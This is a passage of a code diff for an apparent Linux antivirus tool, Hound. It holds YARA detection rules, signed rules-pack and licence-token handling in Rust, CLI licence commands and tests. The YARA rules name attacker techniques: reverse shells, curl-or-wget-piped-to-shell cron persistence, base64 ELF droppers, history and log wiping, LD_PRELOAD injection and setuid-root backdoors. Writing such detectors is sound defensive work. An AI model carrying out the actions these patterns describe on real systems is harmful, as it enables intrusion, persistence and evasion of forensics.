/connect\([A-Z0-9_]+\s*,\s*sockaddr_in/ ascii + $rb = /TCPSocket\.(new|open)\(/ ascii + $rbx = /exec\s*\(?\s*"\/bin\// ascii + condition: + filesize < 128KB + and ( + // Python: connect to a socket and hand a shell its fds. + ($sock and $conn and ($sh or $dup or $pty)) + // Perl: Socket module plus a raw connect() to a sockaddr_in. + or ($pl and $plc) + // Ruby: a TCPSocket wired to an exec of a shell. + or ($rb and $rbx) + ) +} + +/* ─────────────────────── misc / suspicious ──────────────────────── */ + +rule Linux_Malware_EmbeddedElf_B64 +{ + meta: + name = "Linux.Dropper.Base64Elf" + severity = "warning" + action = "alert" + desc = "A script carrying a base64-encoded ELF payload (the 'f0VMR' magic prefix) that it decodes and runs." + strings: + $sb = "#!/bin/" + $b64 = "f0VMR" // base64 of \x7fELF + $dec1 = "base64 -d" ascii + $dec2 = "base64 --decode" ascii + $dec3 = "openssl base64 -d" ascii + condition: + filesize < 8MB and $sb in (0..64) and $b64 and 1 of ($dec*) +} + +rule Linux_Malware_HistoryTamper +{ + meta: + name = "Linux.Malware.HistoryTamper" + severity = "warning" + action = "alert" + desc = "A script that disables shell history and clears logs — anti-forensics wrapped around other activity." + strings: + $sb = "#!/bin/" + $h1 = "unset HISTFILE" ascii + $h2 = "export HISTSIZE=0" ascii + $h3 = "HISTFILESIZE=0" ascii + $h4 = "set +o history" ascii + $l1 = "/var/log/wtmp" ascii + $l2 = "/var/log/secure" ascii + $l3 = "/var/log/auth.log" ascii + condition: + filesize < 128KB and $sb in (0..64) + and 1 of ($h*) and 1 of ($l*) +} + +rule Linux_Malware_Persistence_CronDownload +{ + meta: + name = "Linux.Malware.CronDownloader" + severity = "critical" + action = "alert" + desc = "A crontab entry that periodically re-downloads and runs a payload — miner/bot re-infection persistence." + strings: + $sched = /(\*|[0-9,\/-]+)\s+(\*|[0-9,\/-]+)\s+(\*|[0-9,\/-]+)\s+(\*|[0-9,\/-]+)\s+(\*|[0-9,\/-]+)\s/ + $dl = /(curl|wget)\s[^\n]{0,200}\|\s*(sh|bash)/ + condition: + filesize < 64KB and $sched and $dl +} + +rule Linux_Malware_LdPreloadEnvInject +{ + meta: + name = "Linux.Malware.LdPreloadInject" + severity = "warning" + action = "alert" + desc = "A script exporting LD_PRELOAD to a payload in a world-writable directory — library-injection persistence." + strings: + $sb = "#!/bin/" + $ld = /LD_PRELOAD=[^\n]{0,120}\/(tmp|dev\/shm|var\/tmp)\// + condition: + filesize < 64KB and $sb in (0..64) and $ld +} + +rule Linux_Malware_SetuidBackdoor_Script +{ + meta: + name = "Linux.Malware.SetuidRootShell" + severity = "critical" + action = "alert" + desc = "A script that plants a setuid-root shell for privilege persistence." + strings: + $sb = "#!/bin/" + $cp = /cp\s+[^\n]{0,80}\/(bin|usr\/bin)\/(ba)?sh\s/ + $chm = /chmod\s+([46][0-7]{3}|u\+s|\+s)\s/ + condition: + filesize < 64KB and $sb in (0..64) and $cp and $chm +} diff --git a/crates/hound-defs/src/lib.rs b/crates/hound-defs/src/lib.rs index 7774cf6..85d7c1a 100644 --- a/crates/hound-defs/src/lib.rs +++ b/crates/hound-defs/src/lib.rs @@ -16,4 +16,4 @@ pub mod pack; pub use index::{CuckooFilter, Index}; pub use osv::{Indicator, Versions}; -pub use pack::{Pack, SignedPack}; +pub use pack::{Pack, RulesPack, SignedPack}; diff --git a/crates/hound-defs/src/pack.rs b/crates/hound-defs/src/pack.rs index c88b65e..6363228 100644 --- a/crates/hound-defs/src/pack.rs +++ b/crates/hound-defs/src/pack.rs @@ -84,7 +84,7 @@ impl std::fmt::Display for Error { Error::Encode(e) => write!(f, "encoding the pack: {e}"), Error::BadSignature => write!( f, - "the definitions pack is not signed by Hound and was discarded" + "the file is not signed by Hound and was discarded" ), Error::UnknownKey(id) => write!(f, "pack signed by unknown key {id}"), Error::Malformed(e) => write!(f, "malformed pack: {e}"), @@ -105,13 +105,18 @@ pub fn sign(pack: &Pack, signing_key: &SigningKey, key_id: &str) -> Result Result { +/// Definition packs parse the bytes as JSON; the licence verifier parses +/// them as the canonical licence text; the rules-pack channel parses them +/// as a rules manifest. All of them go through this one function, so there +/// is exactly one signature check to audit and no way for a second +/// implementation to drift. +pub fn verify_detached( + signed: &SignedPack, + trusted: &[(&str, VerifyingKey)], +) -> Result, Error> { let Some((_, key)) = trusted.iter().find(|(id, _)| *id == signed.key_id) else { return Err(Error::UnknownKey(signed.key_id.clone())); }; @@ -126,7 +131,77 @@ pub fn verify(signed: &SignedPack, trusted: &[(&str, VerifyingKey)]) -> Result

Result { + let payload = verify_detached(signed, trusted)?; + serde_json::from_slice(&payload).map_err(|e| Error::Malformed(e.to_string())) +} + +/// A signed YARA rules pack — the delivery channel for the curated Hound +/// Linux threat pack. +/// +/// Distinct from a definitions [`Pack`]: that one carries package +/// *indicators* (names and versions the supply-chain sweep matches +/// against), this one carries YARA *source* that the engine compiles into +/// the live ruleset. Both travel inside the same [`SignedPack`] envelope +/// and are verified by the same [`verify_detached`], so a rules pack that +/// is not really ours never reaches the YARA compiler. +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct RulesPack { + /// Pack version, e.g. "2026.08.21". Shown by `hound status` as the + /// ruleset version once loaded. + pub version: String, + /// When it was built, RFC3339. + pub created: String, + /// Basename the agent installs it under (without extension). Kept + /// inside the signed payload so a hostile index cannot rename one pack + /// over another. + pub name: String, + /// The YARA source itself. + pub yara: String, +} + +/// Sign arbitrary payload bytes. Build-side only. +pub fn sign_bytes(payload: Vec, signing_key: &SigningKey, key_id: &str) -> SignedPack { + let signature = signing_key.sign(&payload); + SignedPack { + payload, + signature: signature.to_bytes().to_vec(), + key_id: key_id.to_string(), + } +} + +/// Verify and decode a rules pack. Same discipline as [`verify`]: the +/// signature is checked before the payload is parsed. +pub fn verify_rules( + signed: &SignedPack, + trusted: &[(&str, VerifyingKey)], +) -> Result { + let payload = verify_detached(signed, trusted)?; + serde_json::from_slice(&payload).map_err(|e| Error::Malformed(e.to_string())) +} + +/// Decode the compact single-line form of a signed blob: base64 of its +/// JSON. This is the shape a licence token travels in — something a person +/// can paste into a terminal without a JSON string surviving two levels of +/// shell quoting. +pub fn decode_token(token: &str) -> Option { + let json = base64_bytes::decode(token.trim())?; + serde_json::from_slice(&json).ok() +} + +/// The inverse of [`decode_token`], for the issuer and for tests. +pub fn encode_token(signed: &SignedPack) -> Result { + let json = serde_json::to_vec(signed).map_err(|e| Error::Encode(e.to_string()))?; + Ok(base64_bytes::encode(&json)) } /// Base64 for the byte fields, so a signed pack is a plain JSON file. @@ -347,6 +422,65 @@ mod tests { assert!(base64_bytes::decode("not base64 !!!").is_none()); } + // ── rules packs ── + + #[test] + fn a_rules_pack_round_trips_and_a_tampered_one_is_refused() { + let key = test_key(); + let rp = RulesPack { + version: "2026.08.21".into(), + created: "2026-08-21T12:00:00Z".into(), + name: "hound-linux".into(), + yara: "rule X { condition: false }".into(), + }; + let mut signed = sign_bytes(serde_json::to_vec(&rp).unwrap(), &key, "hound-2026"); + let trusted = [("hound-2026", key.verifying_key())]; + assert_eq!(verify_rules(&signed, &trusted).unwrap(), rp); + + // One flipped bit and the YARA source never reaches a compiler. + let pos = signed.payload.len() / 2; + signed.payload[pos] ^= 0x01; + assert_eq!(verify_rules(&signed, &trusted), Err(Error::BadSignature)); + } + + // ── the compact token form ── + + #[test] + fn a_token_round_trips_and_still_verifies() { + let key = test_key(); + let signed = sign(&a_pack(), &key, "hound-2026").unwrap(); + let token = encode_token(&signed).unwrap(); + assert!( + token.chars().all(|c| !c.is_whitespace()), + "a token must survive being pasted into a terminal" + ); + let back = decode_token(&token).expect("the token must decode"); + let trusted = [("hound-2026", key.verifying_key())]; + assert_eq!(verify(&back, &trusted).unwrap(), a_pack()); + } + + #[test] + fn a_corrupted_token_is_refused_not_guessed_at() { + let key = test_key(); + let signed = sign(&a_pack(), &key, "hound-2026").unwrap(); + let token = encode_token(&signed).unwrap(); + assert!(decode_token(&token[..token.len() / 2]).is_none()); + assert!(decode_token("!!definitely not a token!!").is_none()); + } + + #[test] + fn verify_detached_returns_the_exact_signed_bytes() { + // A licence signs canonical text, not JSON. The detached form must + // hand back precisely what was signed, or the caller acts on + // something other than what was checked. + let key = test_key(); + let payload = b"hound-license-v1\ntier=pro\n".to_vec(); + let signature = key.sign(&payload).to_bytes().to_vec(); + let signed = SignedPack { payload: payload.clone(), signature, key_id: "hound-2026".into() }; + let trusted = [("hound-2026", key.verifying_key())]; + assert_eq!(verify_detached(&signed, &trusted).unwrap(), payload); + } + #[test] fn errors_read_like_something_a_person_can_act_on() { assert!(Error::BadSignature.to_string().contains("discarded")); diff --git a/crates/hound/src/main.rs b/crates/hound/src/main.rs index f7728bd..eda7b26 100644 --- a/crates/hound/src/main.rs +++ b/crates/hound/src/main.rs @@ -168,6 +168,18 @@ enum Cmd { #[command(subcommand)] action: Option, }, + /// Show this machine's licence, or install one + License { + #[command(subcommand)] + action: Option, + }, +} + +#[derive(Subcommand)] +enum LicenseCmd { + /// Install a licence token — paste the token itself, or give a path to + /// a file that contains it + Install { token: String }, } #[derive(Subcommand)] @@ -390,6 +402,28 @@ fn print_defs(d: &hound_api::DefsStatus) { /// `timed_out` is the one number worth alarming on: above zero it means /// scans are slow enough that the watchdog is releasing processes /// unscanned, so the gate has quietly degraded to advisory. +fn print_license(l: &hound_api::LicenseStatus) { + let tier = match l.tier.as_str() { + "pro" => "Pro".green().bold().to_string(), + "fleet" => "Fleet".green().bold().to_string(), + _ => "Free".normal().to_string(), + }; + let mut line = format!(" Licence: {tier}"); + if !l.holder.is_empty() { + line.push_str(&format!(" — {}", l.holder)); + } + if !l.expires.is_empty() { + line.push_str(&format!(", until {}", l.expires)); + } + if l.seats > 0 { + line.push_str(&format!(", {} seats", l.seats)); + } + println!("{line}"); + if !l.detail.is_empty() { + println!(" {}", l.detail.yellow()); + } +} + fn print_gate(g: &hound_api::GateStatus) { if !g.active { let why = if g.detail.is_empty() { "off" } else { &g.detail }; @@ -654,6 +688,7 @@ fn run(client: &Client, cmd: &Cmd) -> Result { } print_defs(&st.defs); print_gate(&st.gate); + print_license(&st.license); } else { println!( "{} {} [engine: {}]", @@ -995,6 +1030,48 @@ fn run(client: &Client, cmd: &Cmd) -> Result { } Ok(0) } + Cmd::License { action } => match action { + None => { + let st = client.status()?; + print_license(&st.license); + if st.license.tier == "free" { + println!( + " Free includes every scan and hygiene check on this\n\ + \x20 machine. Pro adds the execution gate, the full\n\ + \x20 malicious-package feed and the Linux threat pack —\n\ + \x20 https://houndav.com/#pricing" + ); + } + Ok(0) + } + Some(LicenseCmd::Install { token }) => { + // A file path is kinder than 600 characters of base64 on the + // command line; accept both. + let text = if std::path::Path::new(token).is_file() { + std::fs::read_to_string(token)? + } else { + token.clone() + }; + let l = client.license_install(text.trim())?; + print_license(&l); + println!("{} licence installed", "✔".green().bold()); + if l.tier != "free" { + println!( + " The full definitions feed is active from the next update — run\n\ + \x20 `sudo hound update` to fetch it now." + ); + let gate_active = client.status().map(|s| s.gate.active).unwrap_or(false); + if !gate_active { + println!( + " To arm the execution gate:\n\ + \x20 sudo hound settings exec-gate on\n\ + \x20 sudo systemctl restart houndd" + ); + } + } + Ok(0) + } + }, } } diff --git a/crates/houndd/examples/build-rules-pack.rs b/crates/houndd/examples/build-rules-pack.rs new file mode 100644 index 0000000..4dd611c --- /dev/null +++ b/crates/houndd/examples/build-rules-pack.rs @@ -0,0 +1,138 @@ +//! Build, gate and sign the Hound Linux threat pack. +//! +//! build-rules-pack [created] +//! +//! Three things happen, in this order, and any one of them failing aborts +//! the build: +//! +//! 1. **Compile.** The YARA source has to compile under the exact +//! engine the agent runs (yara-x), or a broken pack would take down +//! every agent that loaded it — the daemon skips a pack it cannot +//! compile, so a bad pack is a silent loss of detection. +//! +//! 2. **Goodware gate.** Every rule is scanned against /usr/bin, /bin +//! and /usr/sbin on this machine. One hit on a system binary and the +//! build fails — a rule that quarantines a real binary is worse than +//! no rule at all, and the whole product dies the first time it eats +//! somebody's `sudo`. This is the same gate as the built-in pack's +//! unit test, run here before anything is signed. +//! +//! 3. **Sign.** Only a pack that compiled and passed the gate is wrapped +//! in the signed envelope and written out, so nothing unverifiable or +//! untested ever reaches the feed. +//! +//! The signing key is loaded from the key file (never generated here — a +//! threat pack signed by a throwaway key is a threat pack no agent trusts). + +use ed25519_dalek::SigningKey; +use hound_defs::{pack, RulesPack}; + +fn die(msg: impl std::fmt::Display) -> ! { + eprintln!("build-rules-pack: {msg}"); + std::process::exit(1); +} + +fn load_key(path: &str) -> SigningKey { + let bytes = std::fs::read(path).unwrap_or_else(|e| die(format!("reading key {path}: {e}"))); + let seed: [u8; 32] = bytes + .get(..32) + .and_then(|s| s.try_into().ok()) + .unwrap_or_else(|| die(format!("{path} is not at least a 32-byte key"))); + SigningKey::from_bytes(&seed) +} + +/// Compile the pack together with the built-in rules, exactly as the +/// daemon does, and return the compiled ruleset. +fn compile(yara: &str) -> yara_x::Rules { + let mut compiler = yara_x::Compiler::new(); + compiler + .add_source(yara_x::SourceCode::from(yara).with_origin("hound-linux.yar")) + .unwrap_or_else(|e| die(format!("the pack does not compile:\n{e}"))); + compiler.build() +} + +/// Scan the system binaries and abort on any match. Returns how many +/// binaries were checked, so the caller can insist the gate was meaningful. +fn goodware_gate(rules: &yara_x::Rules) -> usize { + let mut scanner = yara_x::Scanner::new(rules); + let mut checked = 0usize; + let mut failures: Vec = Vec::new(); + + for dir in ["/usr/bin", "/bin", "/usr/sbin", "/usr/lib", "/lib"] { + let Ok(entries) = std::fs::read_dir(dir) else { continue }; + for entry in entries.flatten() { + let path = entry.path(); + let Ok(md) = std::fs::symlink_metadata(&path) else { continue }; + if md.is_symlink() || !md.is_file() || md.len() > 32 * 1024 * 1024 { + continue; + } + let Ok(bytes) = std::fs::read(&path) else { continue }; + checked += 1; + if let Ok(res) = scanner.scan(&bytes) { + for m in res.matching_rules() { + failures.push(format!("{} -> {}", path.display(), m.identifier())); + } + } + } + } + + if !failures.is_empty() { + die(format!( + "GOODWARE GATE FAILED — {} false positive(s) on system files:\n {}", + failures.len(), + failures.join("\n ") + )); + } + checked +} + +fn main() { + let args: Vec = std::env::args().skip(1).collect(); + if args.len() < 5 { + die("usage: build-rules-pack [created]"); + } + let (src_path, name, out, key_path, version) = + (&args[0], &args[1], &args[2], &args[3], &args[4]); + let created = args + .get(5) + .cloned() + .unwrap_or_else(|| "1970-01-01T00:00:00Z".into()); + + if name.is_empty() + || name.len() > 64 + || !name.chars().all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_')) + { + die(format!("pack name {name:?} must be a plain [A-Za-z0-9_-] basename")); + } + + let yara = std::fs::read_to_string(src_path) + .unwrap_or_else(|e| die(format!("reading {src_path}: {e}"))); + + let rules = compile(&yara); + let rule_count = rules.iter().count(); + eprintln!("compiled {rule_count} rule(s)"); + + let checked = goodware_gate(&rules); + if checked < 200 { + die(format!( + "goodware gate only saw {checked} binaries — run this on a real system so the gate means something" + )); + } + eprintln!("goodware gate: {checked} system files scanned, 0 false positives"); + + let rp = RulesPack { + version: version.clone(), + created, + name: name.clone(), + yara, + }; + let payload = serde_json::to_vec(&rp).unwrap_or_else(|e| die(format!("encoding: {e}"))); + + let key = load_key(key_path); + let key_id = std::env::var("HOUND_KEY_ID").unwrap_or_else(|_| "hound-2026".into()); + let signed = pack::sign_bytes(payload, &key, &key_id); + std::fs::write(out, serde_json::to_string(&signed).unwrap()) + .unwrap_or_else(|e| die(format!("writing {out}: {e}"))); + + eprintln!("wrote {out} — {rule_count} rules, version {version}, signed by {key_id}"); +} diff --git a/crates/houndd/src/license.rs b/crates/houndd/src/license.rs new file mode 100644 index 0000000..604ef96 --- /dev/null +++ b/crates/houndd/src/license.rs @@ -0,0 +1,326 @@ +//! The installed licence: where it lives, how it is verified, and what is +//! actually in force. +//! +//! A licence is an Ed25519-signed token — the same signature scheme, the +//! same trusted keys and the same verify-before-parse discipline as a +//! definitions pack. See `hound_api::license` for why the check exists at +//! all (it is not copy protection) and `hound_defs::pack` for the +//! signature layer. +//! +//! The rules this module enforces: +//! +//! * **Verification failing means Free, never nothing.** A corrupt token, +//! a wrong key, an unreadable file — every failure degrades to the Free +//! tier with the reason recorded, and the daemon keeps protecting the +//! machine. A security product that answers a licence problem by +//! switching itself off has chosen revenue over the user's safety. +//! * **Expiry is a downgrade, not a lockout.** A lapsed Pro licence leaves +//! exactly what a fresh Free install has. +//! * **Nothing unverified is ever written.** `install` verifies the token +//! before persisting it, so the file on disk is always one that at least +//! verified once. + +use anyhow::{Context, Result}; +use hound_api::license::License; +use hound_api::LicenseStatus; +use hound_defs::{pack, SignedPack}; +use std::path::PathBuf; +use std::sync::{Arc, RwLock}; + +/// Where the token lives. The licence is not a secret — it grants nothing +/// without the machine it is installed on — but it names its holder, so +/// the file is written 0600 all the same. +pub fn license_path() -> PathBuf { + if let Some(p) = std::env::var_os("HOUNDD_LICENSE_PATH") { + return PathBuf::from(p); + } + if crate::caps::is_root() { + return PathBuf::from("/var/lib/hound/license.token"); + } + let home = std::env::var("HOME").unwrap_or_else(|_| "/root".into()); + PathBuf::from(home).join(".local/share/hound/license.token") +} + +/// Today, as the ISO date expiry comparisons use. +fn today() -> String { + let now = time::OffsetDateTime::now_utc().date(); + format!("{:04}-{:02}-{:02}", now.year(), u8::from(now.month()), now.day()) +} + +/// What the daemon is acting on. +pub struct State { + /// The tier in force after verification and expiry. This is what every + /// capability check consults. + pub effective: License, + /// What the installed token says, before expiry, for display. + pub installed: Option, + /// Why `effective` differs from `installed`, or why nothing is + /// installed. Empty when everything is as the token says. + pub detail: String, +} + +impl State { + fn free(detail: impl Into) -> Self { + State { + effective: License::default(), + installed: None, + detail: detail.into(), + } + } + + /// The wire shape for `hound status` and the GUI. + pub fn status(&self) -> LicenseStatus { + let shown = self.installed.as_ref().unwrap_or(&self.effective); + LicenseStatus { + tier: self.effective.tier.as_str().to_string(), + holder: shown.holder.clone(), + expires: shown.expires.clone(), + seats: shown.seats, + detail: self.detail.clone(), + } + } +} + +/// Verify a token string against the trusted keys and return the licence +/// it carries. This is the only path from bytes to a `License` the daemon +/// will act on. +pub fn parse_token(token: &str) -> Result { + let token = token.trim(); + let signed: SignedPack = if token.starts_with('{') { + // The raw JSON form, as written to disk. + serde_json::from_str(token).context("this is not a Hound licence")? + } else { + pack::decode_token(token).context("this is not a Hound licence token")? + }; + + let keys = crate::defs::trusted_keys(); + let trusted: Vec<(&str, ed25519_dalek::VerifyingKey)> = + keys.iter().map(|(id, k)| (id.as_str(), *k)).collect(); + + let payload = pack::verify_detached(&signed, &trusted).map_err(|e| anyhow::anyhow!("{e}"))?; + let text = std::str::from_utf8(&payload).context("the licence payload is not text")?; + License::from_canonical(text).context("the signed payload is not a licence") +} + +/// Apply expiry to a verified licence. +fn evaluate(installed: License) -> State { + if installed.expired_on(&today()) { + let detail = format!( + "the {} licence for {} expired on {} — running as Free; every scan and \ + hygiene check still works", + installed.tier.as_str(), + if installed.holder.is_empty() { "this machine" } else { &installed.holder }, + installed.expires + ); + return State { + effective: License::default(), + installed: Some(installed), + detail, + }; + } + State { + effective: installed.clone(), + installed: Some(installed), + detail: String::new(), + } +} + +/// Load whatever is on disk. Never fails: every problem is a reasoned +/// fall-back to Free. +fn load() -> State { + let path = license_path(); + let text = match std::fs::read_to_string(&path) { + Ok(t) => t, + Err(e) if e.kind() == std::io::ErrorKind::NotFound => { + return State::free(""); + } + Err(e) => { + return State::free(format!( + "could not read {} ({e}) — running as Free", + path.display() + )); + } + }; + match parse_token(&text) { + Ok(lic) => evaluate(lic), + Err(e) => State::free(format!("the installed licence was refused ({e}) — running as Free")), + } +} + +/// Hot-swappable handle, mirroring how rules and definitions are held. +#[derive(Clone)] +pub struct LicenseStore { + inner: Arc>>, +} + +impl LicenseStore { + pub fn load() -> Self { + Self { + inner: Arc::new(RwLock::new(Arc::new(load()))), + } + } + + pub fn current(&self) -> Arc { + Arc::clone(&self.inner.read().expect("license store poisoned")) + } + + /// Verify a token and, only then, persist and adopt it. + pub fn install(&self, token: &str) -> Result> { + let lic = parse_token(token)?; + + let path = license_path(); + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent) + .with_context(|| format!("creating {}", parent.display()))?; + } + // Write-then-rename, like a definitions pack: the file either holds + // the old licence or the new one, never half of each. + let tmp = path.with_extension("token.part"); + std::fs::write(&tmp, token.trim()) + .with_context(|| format!("writing {}", tmp.display()))?; + let _ = std::fs::set_permissions(&tmp, { + use std::os::unix::fs::PermissionsExt; + std::fs::Permissions::from_mode(0o600) + }); + std::fs::rename(&tmp, &path) + .with_context(|| format!("installing {}", path.display()))?; + + let fresh = Arc::new(evaluate(lic)); + *self.inner.write().expect("license store poisoned") = Arc::clone(&fresh); + Ok(fresh) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use ed25519_dalek::{Signer, SigningKey}; + use hound_api::license::{Capability, Tier}; + + fn token_for(lic: &License, key: &SigningKey, key_id: &str) -> String { + let payload = lic.canonical().into_bytes(); + let signature = key.sign(&payload).to_bytes().to_vec(); + let signed = SignedPack { payload, signature, key_id: key_id.into() }; + pack::encode_token(&signed).unwrap() + } + + fn hex_of(k: &SigningKey) -> String { + k.verifying_key().to_bytes().iter().map(|b| format!("{b:02x}")).collect() + } + + #[test] + fn a_valid_token_grants_its_tier() { + let key = SigningKey::from_bytes(&[11u8; 32]); + let lic = License { + tier: Tier::Pro, + holder: "Somebody ".into(), + expires: "2099-01-01".into(), + seats: 0, + }; + let token = token_for(&lic, &key, "dev"); + + let _guard = crate::test_util::locked(); + std::env::set_var("HOUNDD_DEFS_KEY", hex_of(&key)); + let parsed = parse_token(&token).expect("a valid token must parse"); + std::env::remove_var("HOUNDD_DEFS_KEY"); + + assert_eq!(parsed.tier, Tier::Pro); + assert!(parsed.allows(Capability::ExecutionGate)); + + let state = evaluate(parsed); + assert_eq!(state.effective.tier, Tier::Pro); + assert!(state.detail.is_empty()); + } + + #[test] + fn a_tampered_token_is_free_not_fatal() { + let key = SigningKey::from_bytes(&[11u8; 32]); + let attacker = SigningKey::from_bytes(&[12u8; 32]); + let lic = License { tier: Tier::Fleet, seats: 100, ..Default::default() }; + let forged = token_for(&lic, &attacker, "dev"); + + let _guard = crate::test_util::locked(); + std::env::set_var("HOUNDD_DEFS_KEY", hex_of(&key)); + let refused = parse_token(&forged); + std::env::remove_var("HOUNDD_DEFS_KEY"); + + assert!(refused.is_err(), "a token signed by the wrong key must not parse"); + } + + #[test] + fn an_expired_licence_runs_as_free_and_says_so() { + let lic = License { + tier: Tier::Pro, + holder: "Lapsed ".into(), + expires: "2020-01-01".into(), + seats: 0, + }; + let state = evaluate(lic); + assert_eq!(state.effective.tier, Tier::Free); + assert!(!state.effective.allows(Capability::ExecutionGate)); + assert!(state.detail.contains("expired on 2020-01-01")); + assert!( + state.detail.contains("still works"), + "the lapse message must say what the user keeps: {}", + state.detail + ); + // The wire status reports the tier in force, not the token's claim. + let s = state.status(); + assert_eq!(s.tier, "free"); + assert_eq!(s.holder, "Lapsed "); + } + + #[test] + fn no_licence_file_is_plain_free_with_no_complaint() { + let _guard = crate::test_util::locked(); + std::env::set_var("HOUNDD_LICENSE_PATH", "/nonexistent/nowhere.token"); + let state = load(); + std::env::remove_var("HOUNDD_LICENSE_PATH"); + assert_eq!(state.effective.tier, Tier::Free); + assert!(state.installed.is_none()); + assert!(state.detail.is_empty(), "Free is not an error state: {}", state.detail); + } + + #[test] + fn install_verifies_before_writing_and_survives_a_reload() { + let dir = std::env::temp_dir().join(format!("hound-lic-{}", std::process::id())); + let _ = std::fs::remove_dir_all(&dir); + std::fs::create_dir_all(&dir).unwrap(); + let path = dir.join("license.token"); + + let key = SigningKey::from_bytes(&[11u8; 32]); + let lic = License { tier: Tier::Pro, expires: "2099-01-01".into(), ..Default::default() }; + let token = token_for(&lic, &key, "dev"); + + let _guard = crate::test_util::locked(); + std::env::set_var("HOUNDD_LICENSE_PATH", &path); + std::env::set_var("HOUNDD_DEFS_KEY", hex_of(&key)); + + let store = LicenseStore::load(); + assert_eq!(store.current().effective.tier, Tier::Free); + + // Garbage is refused and never lands on disk. + assert!(store.install("not a token").is_err()); + assert!(!path.exists(), "a refused token must not be persisted"); + + let state = store.install(&token).expect("a valid token installs"); + assert_eq!(state.effective.tier, Tier::Pro); + assert!(path.exists()); + + // A fresh daemon picks it straight back up. + let reloaded = LicenseStore::load(); + assert_eq!(reloaded.current().effective.tier, Tier::Pro); + + std::env::remove_var("HOUNDD_LICENSE_PATH"); + std::env::remove_var("HOUNDD_DEFS_KEY"); + let _ = std::fs::remove_dir_all(&dir); + } + + #[test] + fn today_is_an_iso_date() { + let t = today(); + assert_eq!(t.len(), 10); + assert_eq!(&t[4..5], "-"); + assert!(t >= "2026-01-01".to_string(), "clock sanity: {t}"); + } +} diff --git a/crates/houndd/src/main.rs b/crates/houndd/src/main.rs index e6b6208..22f0f7b 100644 --- a/crates/houndd/src/main.rs +++ b/crates/houndd/src/main.rs @@ -46,6 +46,7 @@ mod defs; mod engine; mod events; mod fanotify; +mod license; mod native; mod peer; mod persistence; @@ -81,6 +82,7 @@ struct DaemonState { quarantine: quarantine::Quarantine, realtime: realtime::RealtimeMonitor, defs: defs::DefsStore, + license: license::LicenseStore, /// The execution gate, when it came up. `None` covers both "switched /// off" and "could not be armed"; `gate_detail` says which. gate: Option>, @@ -174,8 +176,28 @@ impl DaemonState { let realtime = realtime::RealtimeMonitor::new(settings.clone(), quarantine.clone(), events.clone()); + let license = license::LicenseStore::load(); + { + let l = license.current(); + match (&l.installed, l.detail.is_empty()) { + (Some(inst), true) => eprintln!( + "license: {} ({}{})", + l.effective.tier.as_str(), + if inst.holder.is_empty() { "unnamed" } else { &inst.holder }, + if inst.expires.is_empty() { + String::new() + } else { + format!(", until {}", inst.expires) + } + ), + (_, false) => eprintln!("license: {}", l.detail), + (None, true) => eprintln!("license: free tier"), + } + } + let s = settings.get(); - let (gate, gate_detail, gate_paths) = Self::arm_gate(&s, &events, &quarantine); + let (gate, gate_detail, gate_paths) = + Self::arm_gate(&s, &license.current().effective, &events, &quarantine); // The inotify monitor is now the FALLBACK, not the primary path. // @@ -206,6 +228,7 @@ impl DaemonState { quarantine, realtime, defs, + license, gate, gate_detail: std::sync::Arc::new(gate_detail), gate_paths, @@ -221,6 +244,7 @@ impl DaemonState { /// protects nothing. fn arm_gate( s: &Settings, + lic: &hound_api::license::License, events: &events::EventLog, quarantine: &quarantine::Quarantine, ) -> (Option>, String, Vec) { @@ -228,6 +252,15 @@ impl DaemonState { eprintln!("gate: disabled in settings"); return (None, "disabled".into(), Vec::new()); } + // The licence check sits before the root check on purpose: "this is + // part of Pro" is the answer a Free user can act on, whereas "needs + // root" invites them to escalate and hit the licence wall anyway. + if !lic.allows(hound_api::license::Capability::ExecutionGate) { + let why = hound_api::license::Capability::ExecutionGate.explain_absence(); + events.push("gate", "info", why.into()); + eprintln!("gate: off — {why}"); + return (None, why.into(), Vec::new()); + } if !caps::is_root() { let why = "needs root (CAP_SYS_ADMIN)"; events.push("gate", "warn", format!("execution gate off: {why}")); @@ -757,6 +790,32 @@ fn dispatch(req: &hound_api::Request, st: &DaemonState) -> Result { Ok(serde_json::to_value(report)?) } + // ── licence ── + "license.install" => { + let token = req + .params + .as_ref() + .and_then(|p| p.get("token")) + .and_then(Value::as_str) + .context("license.install requires params.token")?; + let state = st.license.install(token)?; + let s = state.status(); + st.events.push( + "license", + "info", + format!( + "licence installed: {} tier{}", + s.tier, + if s.holder.is_empty() { + String::new() + } else { + format!(" for {}", s.holder) + } + ), + ); + Ok(serde_json::to_value(s)?) + } + // ── realtime ── "realtime.status" => Ok(serde_json::to_value(st.realtime.status())?), "realtime.set_enabled" => { @@ -786,6 +845,18 @@ fn dispatch(req: &hound_api::Request, st: &DaemonState) -> Result { /// One definitions check, using the same install path as `hound update` so /// there is no second implementation to drift. Returns how many packs landed. fn scheduled_defs_update(st: &DaemonState) -> Result { + // The full feed is what a Pro subscription pays for. Checked here, at + // fetch time rather than at boot, so installing a licence takes effect + // on the next cycle without a restart — and a lapse stops the fetch + // without touching what is already on disk. + if !st + .license + .current() + .effective + .allows(hound_api::license::Capability::FullSupplyChainFeed) + { + return Ok(0); + } let keys = defs::trusted_keys(); let trusted: Vec<(&str, ed25519_dalek::VerifyingKey)> = keys.iter().map(|(id, k)| (id.as_str(), *k)).collect(); @@ -969,6 +1040,7 @@ fn status(st: &DaemonState) -> Result { detail: d.detail.clone(), } }, + license: st.license.current().status(), }) } @@ -1009,28 +1081,43 @@ fn update(st: &DaemonState) -> Result { let trusted: Vec<(&str, ed25519_dalek::VerifyingKey)> = keys.iter().map(|(id, k)| (id.as_str(), *k)).collect(); - match update::run(&update::install_dir(), &trusted) { - Ok(outcome) => { - lines.push(format!("definitions: {}", outcome.summary())); - lines.extend(outcome.log.iter().map(|l| format!(" {l}"))); - if !outcome.installed.is_empty() { - let loaded = st.defs.reload(); - lines.push(format!( - " loaded {} indicators from {} pack(s) [{}]", - loaded.indicators, - loaded.packs.len(), - loaded.version - )); + let feed_licensed = st + .license + .current() + .effective + .allows(hound_api::license::Capability::FullSupplyChainFeed); + if !feed_licensed { + // Said once, plainly, in the update output — and never as a nag + // anywhere else. The built-in rules still reload below, and any + // packs already on disk stay loaded. + lines.push(format!( + "definitions: {}", + hound_api::license::Capability::FullSupplyChainFeed.explain_absence() + )); + } else { + match update::run(&update::install_dir(), &trusted) { + Ok(outcome) => { + lines.push(format!("definitions: {}", outcome.summary())); + lines.extend(outcome.log.iter().map(|l| format!(" {l}"))); + if 